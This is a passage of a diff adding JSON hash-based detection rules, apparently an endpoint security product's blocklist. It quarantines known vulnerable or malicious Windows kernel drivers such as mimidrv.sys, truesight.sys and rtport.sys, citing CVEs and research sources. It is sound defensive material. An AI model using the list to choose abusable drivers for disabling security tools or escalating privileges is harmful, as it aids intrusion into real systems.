+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14b734b3-a959-5ccd-a96d-73d5f8a5df6e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976818Z",
+  "creation_date": "2026-03-23T11:45:29.976820Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7131fedf0462c49e5060d3545f49a74d5f937ad84fc1a747a8a766f61a2958df",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14bcf3f3-b464-55fe-9b38-89ba68af65ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982068Z",
+  "creation_date": "2026-03-23T11:45:29.982070Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982076Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2470fd1b733314c9b0afa19fd39c5d19aa1b36db598b5ebbe93445caa545da5f",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14c1febc-aa56-50a6-b6ec-fc2ef883b207",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478552Z",
+  "creation_date": "2026-03-23T11:45:31.478556Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478581Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "415a90c32f8b4651eb5c81cae348549d8792da1b9dac8fbefe0178667b947238",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14cc30b4-746b-51cf-8a66-6d987602cc2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835684Z",
+  "creation_date": "2026-03-23T11:45:30.835686Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6a14e072636da3560bc7d52ccf9c6c6706666eb7e813b422e88782ca1b4d838",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14d06643-7993-59f5-b03a-d670d8fc33cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480168Z",
+  "creation_date": "2026-03-23T11:45:30.480170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f82cde6dc693a4ac8b485ac9225f2641141213f8333b0be8d7134d0139f17c26",
+  "comment": "Vulnerable Kernel Driver (aka IoAccesssys.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14db5509-3e34-5a9f-946a-27d4011c4f58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617341Z",
+  "creation_date": "2026-03-23T11:45:29.617343Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617348Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "321cc3f24a518c70fb537ee9472b1777d05727c649d5b6538082a971c40ddcbe",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14de6487-6f53-50e3-8419-c512e4cb71b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478760Z",
+  "creation_date": "2026-03-23T11:45:30.478763Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bef5f5160c6a981562597dda319f9a235c28d5beba5268a454f734500ec1f4f",
+  "comment": "Vulnerable Kernel Driver (aka Tmel.sys) [https://www.loldrivers.io/drivers/1aeb1205-8b02-42b6-a563-b953ea337c19/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14e9eaeb-27b8-5416-a2db-03d761558401",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144540Z",
+  "creation_date": "2026-03-23T11:45:32.144542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0dc9021f0c02e18f4c3357da42630adf515655b9473f93385c5c157efd5da4ac",
+  "comment": "Malicious Kernel Driver (aka driver_4d8bc539.sys) [https://www.loldrivers.io/drivers/e7fd8ffc-ab37-4a7b-8dc9-fc7432fbacae/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14ffc62a-9a7c-5143-b386-065e7d9c6c70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614455Z",
+  "creation_date": "2026-03-23T11:45:29.614457Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614462Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30706f110725199e338e9cc1c940d9a644d19a14f0eb8847712cba4cacda67ab",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15022bcb-7506-5cc8-bda0-a4d81bb9a593",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826296Z",
+  "creation_date": "2026-03-23T11:45:31.826298Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826304Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56b53c8e746727dbd14fabc55d09c4ddd9d8f6bf2f2f65870128436eaa2bd921",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "150d01b8-8c88-5a7d-933d-b63fef82cc02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474033Z",
+  "creation_date": "2026-03-23T11:45:30.474036Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "506ec3e8b28e52be36b89041bbcd9933b7b79eaf8a53594186813d0f60edebc9",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1537d4e2-7032-5295-b9e9-53219a730d0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809962Z",
+  "creation_date": "2026-03-23T11:45:31.809965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809974Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d13637f79117ce08698aecc26dd7e2a84f85d83540d2eda6dda8828ac22ce982",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "153f511e-f15b-59ac-b8ae-9fe3e547d4d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820564Z",
+  "creation_date": "2026-03-23T11:45:30.820566Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "489c02d8102fc401010793d7388b59dc944a2e77cf4179424015cd863701b19b",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15404f1e-c16d-57be-af6f-256f1536565b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468500Z",
+  "creation_date": "2026-03-23T11:45:30.468503Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9c3857d2959a3eff45eefe43d8ed1c23bd6908ae8a9a7e2e4e402bbf3e6d3ec",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "154b9623-2e26-578e-91c6-d3a64f9a7510",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822564Z",
+  "creation_date": "2026-03-23T11:45:30.822566Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bfed811a8ae3fa634372f74f0d70de1e0183612e91f56ae034486571b55b88b",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1560ccbf-6109-526c-9d80-d33e25f73f59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154726Z",
+  "creation_date": "2026-03-23T11:45:31.154727Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b43dd0ad0664b038cbb94c4a8282b6f3a0fdd81d311a7960b484895a2846ef1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15758380-ec92-5f05-b781-df1c2385e8cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454623Z",
+  "creation_date": "2026-03-23T11:45:30.454626Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454635Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33bdaf3ab141db0f4c6a2c1f9fb047b4e5c6fa6ddc709d905efdd24c2b43041c",
+  "comment": "Vulnerable Kernel Driver (aka atomicredteamcapcom.sys) [https://www.loldrivers.io/drivers/a02e1801-f6fb-41c3-a782-05fdbed44a3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1578159f-3d46-5dc7-bf47-556106d9ea36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622793Z",
+  "creation_date": "2026-03-23T11:45:29.622795Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622800Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96a5b3cd7c1a6dda5b6f402e6c35ba535270467f56addc7448dbe4aa78428411",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "157ca590-e633-5fda-88e0-59f7ec2227ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816065Z",
+  "creation_date": "2026-03-23T11:45:31.816069Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816077Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8df573e666344fc1a1212c60c35cd2ab86b131f887c1d6dba74f452b691ae2d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "157ea4da-eb7d-59d0-bd12-089b9ed30283",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820337Z",
+  "creation_date": "2026-03-23T11:45:30.820339Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820345Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a29093d4d708185ba8be35709113fb42e402bbfbf2960d3e00fd7c759ef0b94e",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15824e4d-a332-5e06-9758-09f2e9990ca6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491469Z",
+  "creation_date": "2026-03-23T11:45:31.491472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491479Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d367b60a73402c6007a87e274c72e2e7c1a0d8e0f2304550b6a380833e2869c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1587cc47-cbd4-51de-bdb7-3eb08867d2d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466298Z",
+  "creation_date": "2026-03-23T11:45:30.466301Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466310Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "082a79311da64b6adc3655e79aa090a9262acaac3b917a363b9571f520a17f6a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15981c82-3634-5c99-b303-05e8b96b952c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
